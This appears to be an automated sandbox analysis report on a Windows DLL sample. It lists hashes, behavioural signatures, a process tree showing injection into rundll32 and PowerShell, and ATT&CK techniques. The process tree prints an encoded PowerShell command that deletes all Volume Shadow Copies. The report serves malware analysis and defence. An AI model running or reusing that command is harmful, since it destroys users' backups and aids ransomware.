e95777adacf41f75297c0641cb1ceba6629b16a1bdc1fe0d88a7824d9ab41a72

General

Target
e95777adacf41f75297c0641cb1ceba6629b16a1bdc1fe0d88a7824d9ab41a72.dll
Size 115KB
Sample220124-a48pyahaa4
SHA256 e95777adacf41f75297c0641cb1ceba6629b16a1bdc1fe0d88a7824d9ab41a72
MD5 e41d37bb1f939ab8b4aecf692902d480
SHA1 80caf31180782f77c0a2a24586a686d5fc180ccd
SHA512 b8e483090ccf3909a3e60c09aea34e04168302b0b857ea11beabb4edb59916cc1f7d62b1be6fbb5b52793a949302133202462244ef2d6eedfa6470636b1b71e9
MD5 SHA1 SHA512

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
576	rundll32.exe
808	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	576	rundll32.exe
Token: SeDebugPrivilege	808	powershell.exe
Token: SeBackupPrivilege	1148	vssvc.exe
Token: SeRestorePrivilege	1148	vssvc.exe
Token: SeAuditPrivilege	1148	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 524 wrote to memory of 576	524	rundll32.exe	27
PID 524 wrote to memory of 576	524	rundll32.exe	27
PID 524 wrote to memory of 576	524	rundll32.exe	27
PID 524 wrote to memory of 576	524	rundll32.exe	27
PID 524 wrote to memory of 576	524	rundll32.exe	27
PID 524 wrote to memory of 576	524	rundll32.exe	27
PID 524 wrote to memory of 576	524	rundll32.exe	27
PID 576 wrote to memory of 808	576	rundll32.exe	29
PID 576 wrote to memory of 808	576	rundll32.exe	29
PID 576 wrote to memory of 808	576	rundll32.exe	29
PID 576 wrote to memory of 808	576	rundll32.exe	29

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\e95777adacf41f75297c0641cb1ceba6629b16a1bdc1fe0d88a7824d9ab41a72.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:524
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\e95777adacf41f75297c0641cb1ceba6629b16a1bdc1fe0d88a7824d9ab41a72.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:808

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:892

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1148

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/576-54-0x00000000751B1000-0x00000000751B3000-memory.dmp

Download

memory/808-55-0x000007FEFB591000-0x000007FEFB593000-memory.dmp

Download

memory/808-57-0x00000000022A0000-0x00000000022A2000-memory.dmp

Download

memory/808-58-0x00000000022A2000-0x00000000022A4000-memory.dmp

Download

memory/808-59-0x00000000022A4000-0x00000000022A7000-memory.dmp

Download

memory/808-56-0x000007FEF2660000-0x000007FEF31BD000-memory.dmp

Download

memory/808-60-0x00000000022AB000-0x00000000022CA000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads